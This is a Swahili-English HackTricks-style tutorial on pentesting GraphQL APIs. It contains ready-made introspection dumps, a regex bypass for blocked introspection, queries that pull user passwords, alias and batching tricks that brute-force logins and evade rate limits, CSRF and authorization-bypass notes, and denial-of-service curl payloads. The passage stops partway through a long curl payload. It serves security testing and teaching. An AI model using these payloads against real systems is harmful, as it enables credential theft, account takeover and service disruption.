GraphQL

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Utangulizi

GraphQL imeangaziwa kama mbadala ufanisi kwa REST API, ikitoa mbinu iliyorahisishwa ya kuomba data kutoka backend. Tofauti na REST, ambayo mara nyingi inahitaji maombi mengi kwenye endpoints mbalimbali ili kukusanya data, GraphQL inaruhusu kuvuta taarifa zote zinazohitajika kupitia ombi moja. Hii inawanufaisha wanatengenezaji kwa kupunguza ugumu wa michakato yao ya kupata data.

GraphQL na Usalama

Kwa kuibuka kwa teknolojia mpya, ikijumuisha GraphQL, vinavyojitokeza pia udhaifu mpya wa usalama. Kitu muhimu kukumbuka ni kwamba GraphQL haijumuishi mekanizimu za authentication kwa chaguo-msingi. Ni jukumu la watengenezaji kutekeleza hatua hizo za usalama. Bila authentication sahihi, endpoints za GraphQL zinaweza kufichua taarifa nyeti kwa watumiaji wasioathibitishwa, na hivyo kusababisha hatari kubwa ya usalama.

Directory Brute Force Attacks and GraphQL

Ili kubaini instances za GraphQL zilizofichuka, inapendekezwa kujumuisha paths maalum katika directory brute force attacks. Paths hizi ni:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Kutambua instances za GraphQL zilizo wazi kunaruhusu ukaguzi wa queries zinazotumiwa. Hii ni muhimu kwa kuelewa data inayopatikana kupitia endpoint. Mfumo wa introspection wa GraphQL unasaidia hili kwa kuelezea queries ambazo schema inaunga mkono. Kwa habari zaidi kuhusu hili, rejea nyaraka za GraphQL kuhusu introspection: GraphQL: A query language for APIs.

Fingerprint

Chombo graphw00f kinaweza kugundua injini ya GraphQL inayotumika kwenye seva na kisha kuchapisha taarifa muhimu kwa mkaguzi wa usalama.

Universal queries

Ili kukagua kama URL ni huduma ya GraphQL, unaweza kutuma universal query, query{__typename}. Ikiwa majibu yana {"data": {"__typename": "Query"}}, inathibitisha URL inaendesha endpoint ya GraphQL. Mbinu hii inategemea uwanja wa __typename wa GraphQL, ambao unaonyesha aina ya kitu kilichoombwa.

query{__typename}

Basic Enumeration

Graphql mara nyingi inaunga mkono GET, POST (x-www-form-urlencoded) na POST(json). Hata hivyo, kwa usalama inashauriwa kuruhusu json pekee ili kuzuia mashambulizi ya CSRF.

Introspection

Ili kutumia introspection kugundua taarifa za schema, fanya query kwenye field ya __schema. Field hii inapatikana kwenye root type ya queries zote.

query={__schema{types{name,fields{name}}}}

Kwa query hii utapata majina ya aina zote zinazotumika:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Kwa query hii unaweza kupata aina zote, fields zake, na arguments zake (na aina ya args). Hii itakuwa muhimu sana kujua jinsi ya kufanya query kwenye database.

Makosa

Ni muhimu kujua kama makosa zitaonyeshwa kwani zitatoa taarifa muhimu.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Orodhesha skima ya hifadhidata kupitia Introspection

Tip

Ikiwa introspection imewezeshwa lakini query iliyotajwa hapo juu haifanyi kazi, jaribu kuondoa directives onOperation, onFragment, na onField kutoka kwenye muundo wa query.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Swali la introspection ya inline:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Mstari wa mwisho wa msimbo ni graphql query ambayo itatoa meta-taarifa zote kutoka graphql (majina ya objects, vigezo, aina…)

Ikiwa introspection imewezeshwa unaweza kutumia GraphQL Voyager kuona kwa GUI chaguzi zote.

Kuuliza

Sasa tunapojua aina gani ya taarifa imehifadhiwa ndani ya database, tujaribu kutoa baadhi ya thamani.

Katika introspection unaweza kupata ni object gani unaweza kuuliza moja kwa moja (kwa sababu huwezi kuuliza object kwa sababu tu ipo). Katika picha ifuatayo unaona kwamba β€œqueryType” inaitwa β€œQuery” na kwamba moja ya fields za object ya β€œQuery” ni β€œflags”, ambayo pia ni aina ya object. Kwa hivyo unaweza kuuliza flag object.

Kumbuka kwamba aina ya query ya β€œflags” ni β€œFlags”, na object hii imefafanuliwa kama ifuatavyo:

Unaweza kuona kwamba objects za β€œFlags” zimeundwa kwa name na .value Then you can get all the names and values of the flags with the query:

query={flags{name, value}}

Kumbuka kwamba ikiwa kitu kinachoulizwa ni aina ya primitive kama string kama katika mfano ufuatao

Unaweza kuiuliza tu kwa:

query = { hiddenFlags }

Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya aina ya β€œQuery”: β€œuser” na β€œusers”.
Ikiwa vitu hivi havitaji hoja yoyote kutafuta, unaweza kupata taarifa zote kutoka kwao kwa kuuliza tu data unayotaka. Katika mfano huu kutoka Intaneti unaweza kutoa majina ya watumiaji yaliyohifadhiwa na password:

Hata hivyo, katika mfano huu ikiwa utajaribu kufanya hivyo utapata kosa:

Inaonekana kwa namna fulani itatafuta kwa kutumia hoja β€œuid” ya aina Int.
Hata hivyo, tulishajua hayo; katika sehemu ya Basic Enumeration ilikuwa imependekezwa query iliyotufunua taarifa zote tulizohitaji: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Ikiwa utatazama picha niliyoweka nilipotekeleza query hiyo utaona kwamba β€œuser” alikuwa na arg β€œuid” ya aina Int.

Kwa hivyo, baada ya kufanya bruteforce nyepesi ya uid niligundua kwamba kwa uid=1 jina la mtumiaji na password yalipatikana:
query={user(uid:1){user,password}}

Kumbuka kwamba niligundua kuwa ningeweza kuomba vigezo β€œuser” na β€œpassword” kwa sababu ikiwa nitajaribu kutafuta kitu kisichokuwepo (query={user(uid:1){noExists}}) napata kosa hili:

Na wakati wa awamu ya enumeration niligundua kwamba kitu cha β€œdbuser” kilikuwa na fields β€œuser” na β€œpassword.

Query string dump trick (thanks to @BinaryShadow_)

If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (Note this example isn’t related with the example of the tutorials, for this example suppose you can search using β€œtheusers” by a String field called β€œdescription”).

Searching

Katika usanidi huu, a database contains persons and movies. Persons are identified by their email and name; movies by their name and rating. Persons can be friends with each other and also have movies, indicating relationships within the database.

Unaweza kutafuta persons kwa name na kupata emails zao:

{
searchPerson(name: "John Doe") {
email
}
}

Unaweza kutafuta watu kwa jina na kupata filamu zao walizojisajili:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Kumbuka jinsi inavyoonyeshwa kupata name ya subscribedMovies ya mtu.

Unaweza pia kutafuta vitu kadhaa kwa wakati mmoja. Katika kesi hii, utafutaji wa filamu 2 umefanywa:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Au hata uhusiano wa vitu kadhaa tofauti kwa kutumia majina mbadala:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutations zinatumika kufanya mabadiliko upande wa server.

Katika introspection unaweza kupata mutations zilizotajwa. Katika picha ifuatayo β€œMutationType” inaitwa β€œMutation” na object ya β€œMutation” ina majina ya mutations (kama β€œaddPerson” katika kesi hii):

Katika mpangilio huu, database ina persons na movies. Persons hujitambulisha kwa email na name; movies kwa name na rating. Persons wanaweza kuwa marafiki wa kila mmoja na pia kuwa na movies, ikionyesha uhusiano ndani ya database.

Mutation ya kuunda movies mpya ndani ya database inaweza kuwa kama ifuatayo (katika mfano huu mutation inaitwa addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Kumbuka jinsi thamani na aina ya data zote zinaonyeshwa katika query.

Zaidi ya hayo, database inasaidia operesheni ya mutation, iitwayo addPerson, ambayo inaruhusu uundaji wa watu pamoja na uhusiano wao na marafiki na filamu zilizopo. Ni muhimu kutambua kwamba marafiki na filamu lazima ziwe tayari katika database kabla ya kuzihusisha na mtu mpya aliyoundwa.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

As explained in one of the vulns described in this report, a directive overloading implies to call of a directive even millions of times to make the server waste operations until it’s possible to DoS it.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Uthibitishaji kupitia GraphQL API kwa kutuma maswali mengi kwa wakati mmoja yenye vibali tofauti ili kuangalia hilo. Ni classic brute force attack, lakini sasa inawezekana kutuma zaidi ya jozi moja ya login/password kwa kila ombi la HTTP kwa sababu ya GraphQL batching feature. Njia hii inaweza kudanganya programu za ufuatiliaji wa rate kutoka nje kufikiri kila kitu kiko sawa na hakuna bot wa brute-forcing anayerudia kujaribu nywila.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Without Introspection

More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

To bypass restrictions on introspection queries in APIs, inserting a special character after the __schema keyword proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the __schema keyword. By adding characters like spaces, new lines, and commas, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after __schema may bypass such defenses:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

If unsuccessful, consider alternative request methods, such as GET requests or POST with x-www-form-urlencoded, since restrictions may apply only to POST requests.

Jaribu WebSockets

Kama ilivyosemwa katika this talk, angalia kama kuna uwezekano wa kuungana na graphQL kupitia WebSockets, kwani hiyo inaweza kukuwezesha kupita WAF inayowezekana na kusababisha mawasiliano ya websocket ku-leak schema ya graphQL:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Kutambua Miundo ya GraphQL Zilizo wazi

Wakati introspection imezimwa, kuchunguza chanzo cha tovuti kwa ajili ya queries zilizopakiwa mapema katika maktaba za JavaScript ni mbinu nzuri. Queries hizi zinaweza kupatikana kwa kutumia kichupo cha Sources katika developer tools, zikitoa ufahamu juu ya schema ya API na kufichua kwa uwezekano maombi nyeti yaliyofichuliwa. Amri za kutafuta ndani ya developer tools ni:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)

Wakati introspection imezuiwa, InQL v6.1+ sasa inaweza kujenga upya schema inayoweza kufikiwa kwa kutumia tu maoni ya makosa.

The new schema bruteforcer hukusanya majina ya candidate ya field/argument kutoka kwa wordlist inayoweza kusanidiwa na kuvituma katika multi-field operations ili kupunguza HTTP chatter. Mifumo ya makosa yenye maana hukusanywa kiotomatiki:

  • Field 'bugs' not found on type 'inql' inathibitisha uwepo wa parent type huku ikitupilia mbali majina ya field yasiyo sahihi.
  • Argument 'contribution' is required inaonyesha kuwa argument ni lazima na inaonyesha uandishi wake.
  • Vidokezo vya mapendekezo kama Did you mean 'openPR'? hurudishwa kwenye queue kama wagombea walioidhinishwa.
  • Kwa kutuma kwa makusudi thamani zenye primitive isiyo sahihi (mfano, integers kwa ajili ya strings) bruteforcer husababisha makosa ya type mismatch ambayo leak real type signature, ikijumuisha list/object wrappers kama [Episode!].

Bruteforcer inaendelea kurudia juu ya aina yoyote inayotoa field mpya; hivyo wordlist inayochanganya majina za kawaida za GraphQL na makisio maalum ya programu hatimaye itaonyesha sehemu kubwa ya schema bila introspection. Runtime imezuiwa kwa kiasi kikubwa na rate limiting na kiasi cha candidate, kwa hivyo kusanidi kwa usahihi mipangilio ya InQL (wordlist, batch size, throttling, retries) ni muhimu kwa engagements za pentesting zinazotaka kuwa stealthier.

Katika release hiyo hiyo, InQL inajumuisha GraphQL engine fingerprinter (inachukua signatures kutoka kwa zana kama graphw00f). Moduli inatuma deliberately invalid directives/queries na inachambua backend kwa kulinganisha maandishi sahihi ya kosa. Kwa mfano:

query @deprecated {
__typename
}
  • Apollo inajibu kwa Directive "@deprecated" may not be used on QUERY.
  • GraphQL Ruby inajibu '@deprecated' can't be applied to queries.

Mara injini inapotambuliwa, InQL huonyesha kipengee kinacholingana kutoka kwenye GraphQL Threat Matrix, ikisaidia wapimaji kuipa kipaumbele udhaifu unaoambatana na familia hiyo ya server (tabia ya default ya introspection, vizingiti vya kina, mapengo ya CSRF, file uploads, n.k.).

Hatimaye, uzalishaji wa vigezo kiotomatiki hutokomeza kizuizi cha kawaida wakati wa kuhamia katika Burp Repeater/Intruder. Kila wakati operesheni inapo hitaji variables JSON, InQL sasa inaingiza defaults za busara ili ombi lipite uthibitisho wa schema kwa utumwa wa mara ya kwanza:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Vitu vya input vilivyowekwa ndani vinarithi mepe ile ile, hivyo unapopata papo hapo payload sahihi kisintaksia na kisemantiki ambayo inaweza kufuzzed kwa SQLi/NoSQLi/SSRF/logic bypasses bila ku-reverse-engineer kwa mkono kila argument.

CSRF in GraphQL

Kama hujui CSRF ni nini, soma ukurasa ufuatao:

CSRF (Cross Site Request Forgery)

Utaweza kupata endpoints kadhaa za GraphQL ambazo zimesanidiwa bila CSRF tokens.

Kumbuka kwamba maombi ya GraphQL kwa kawaida hupelekwa kwa POST requests kwa kutumia Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Hata hivyo, anwani nyingi za GraphQL pia zinaunga mkono form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Kwa hivyo, kwa kuwa CSRF requests kama zile zilizotangulia zinatumwa without preflight requests, inawezekana perform changes katika GraphQL kwa kutumia CSRF.

Hata hivyo, kumbuka kwamba thamani mpya ya chaguo-msingi ya cookie ya samesite flag ya Chrome ni Lax. Hii inamaanisha kuwa cookie itatumwa tu kutoka kwa tovuti ya mtu wa tatu katika GET requests.

Kumbuka kwamba kwa kawaida inawezekana kutuma query request pia kama GET request na CSRF token huenda haithibitishwi katika GET request.

Pia, kutumia vibaya XS-Search attack kunaweza kuwa njia ya ku-exfiltrate yaliyomo kutoka kwenye endpoint ya GraphQL kwa kutumia vibaya credentials za mtumiaji.

Kwa maelezo zaidi angalia original post here.

Cross-site WebSocket hijacking in GraphQL

Similar to CRSF vulnerabilities abusing graphQL it’s also possible to perform a Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies and make a user perform unexpected actions in GraphQL.

Kwa taarifa zaidi angalia:

WebSocket Attacks

Authorization in GraphQL

Mifunction mingi ya GraphQL iliyofafanuliwa kwenye endpoint inaweza kukagua tu authentication ya muombeaji lakini si authorization.

Kurekebisha query input variables kunaweza kusababisha maelezo nyeti ya akaunti leaked.

Mutation inaweza hata kusababisha account takeover kwa kujaribu kubadilisha data za akaunti nyingine.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Kupita idhini katika GraphQL

Chaining queries together inaweza kupita mfumo dhaifu wa uthibitishaji.

In the below example you can see that the operation is β€œforgotPassword” and that it should only execute the forgotPassword query associated with it. Hii inaweza kupitishwa kwa kuongeza query mwishoni, katika kesi hii tunaongeza β€œregister” na user variable kwa mfumo kujisajili kama mtumiaji mpya.

Kupitia Rate Limits kwa Kutumia Aliases katika GraphQL

Katika GraphQL, aliases ni kipengele chenye nguvu kinachoruhusu kuitaja mali kwa uwazi wakati wa kufanya ombi la API. Uwezo huu unafaa hasa kwa kupata matukio mengi ya aina ile ile ya object ndani ya ombi moja. Aliases zinaweza kutumika kukabiliana na kikomo kinachowazuia GraphQL objects kuwa na mali nyingi zenye jina moja.

Kwa uelewa wa kina wa GraphQL aliases, rasilimali ifuatayo inapendekezwa: Aliases.

Wakati lengo kuu la aliases ni kupunguza haja ya API calls nyingi, kumegundulika matumizi yasiyokusudiwa ambapo aliases zinaweza kutumiwa kuendesha mashambulizi ya brute force dhidi ya GraphQL endpoint. Hii inawezekana kwa sababu baadhi ya endpoints zinalindwa na rate limiters zilizoundwa kukandamiza mashambulizi ya brute force kwa kupunguza idadi ya HTTP requests. Hata hivyo, rate limiters hizo huenda hazizingatii idadi ya operations ndani ya kila ombi. Kwa kuwa aliases zinaruhusu ujumlishaji wa queries nyingi ndani ya ombi moja la HTTP, zinaweza kuzunguka vikwazo hivyo vya rate limiting.

Tazama mfano uliopo hapa chini, unaoonyesha jinsi aliased queries zinaweza kutumiwa kuthibitisha uhalali wa misimbo ya punguzo ya duka. Njia hii inaweza kupita rate limiting kwani inakusanya queries kadhaa katika HTTP request moja, ikiwaruhusu kuthibitisha misimbo mingi ya punguzo kwa wakati mmoja.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading ni udhaifu wa GraphQL ambapo attackers huzidisha mzigo wa query kwa kutoa aliases nyingi kwa field ile ile, na kusababisha backend resolver kuitekeleza field hiyo tena na tena. Hii inaweza kuzidisha matumizi ya rasilimali za server, na kusababisha Denial of Service (DoS). Kwa mfano, katika query hapa chini, field ile ile (expensiveField) inaombwa mara 1,000 kwa kutumia aliases, ikilazimisha backend kuikokotoa mara 1,000, na hivyo inaweza kuumaliza CPU au memory:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Ili kupunguza hili, tekeleza alias count limits, query complexity analysis, au rate limiting ili kuzuia matumizi mabaya ya rasilimali.

Array-based Query Batching

Array-based Query Batching ni udhaifu ambapo GraphQL API inaruhusu batching ya multiple queries katika request moja, ikimuwezesha mshambuliaji kutuma idadi kubwa ya queries kwa wakati mmoja. Hii inaweza kuzidi uwezo wa backend kwa kutekeleza queries zote zilizobatch kwa parallel, ikitumia rasilimali kupita kiasi (CPU, memory, database connections) na kwa uwezekano kusababisha Denial of Service (DoS). Ikiwa hakuna kikomo juu ya idadi ya queries katika batch, mshambuliaji anaweza kutumia hili kuharibu upatikanaji wa huduma.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

Katika mfano huu, 10 different queries zimekusanywa kwa ombi moja, kulazimisha server kutekeleza zote kwa wakati mmoja. Ikiwa itatumiwa kwa larger batch size au queries zenye gharama kubwa za kihesabu, inaweza kuzidi server.

Directive Overloading Vulnerability

Directive Overloading hutokea wakati GraphQL server inaruhusu queries zenye directives nyingi au zilizorudiwa. Hii inaweza kumvisha parser na executor wa server, hasa ikiwa server inachakata mara kwa mara mantiki ile ile ya directive. Bila uthibitisho sahihi au mipaka, mshambuliaji anaweza kutumia hili kwa kutengeneza query yenye directives nyingi za nakili ili kusababisha matumizi makubwa ya kihesabu au ya kumbukumbu, na kusababisha Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Kumbuka kwamba katika mfano uliotangulia @aa ni agizo maalum ambalo huenda halijatangazwa. Agizo la kawaida ambalo mara nyingi lipo ni @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Unaweza pia kutuma introspection query ili kugundua directives zote zilizotangazwa:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Kisha tumia baadhi ya zilizobinafsishwa.

Field Duplication Vulnerability

Field Duplication ni udhaifu ambapo server ya GraphQL inaruhusu maombi yenye sehemu moja kurudiwa kupita kiasi. Hii inalazimisha server kutatua sehemu hiyo rudufu kwa kila mfano, ikitumia rasilimali nyingi (CPU, kumbukumbu, na miito za hifadhidata). Mshambuliaji anaweza kuunda maombi yenye mamia au maelfu ya sehemu zilizorudiwa, zikisababisha mzigo mkubwa na kwa uwezekano kusababisha Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 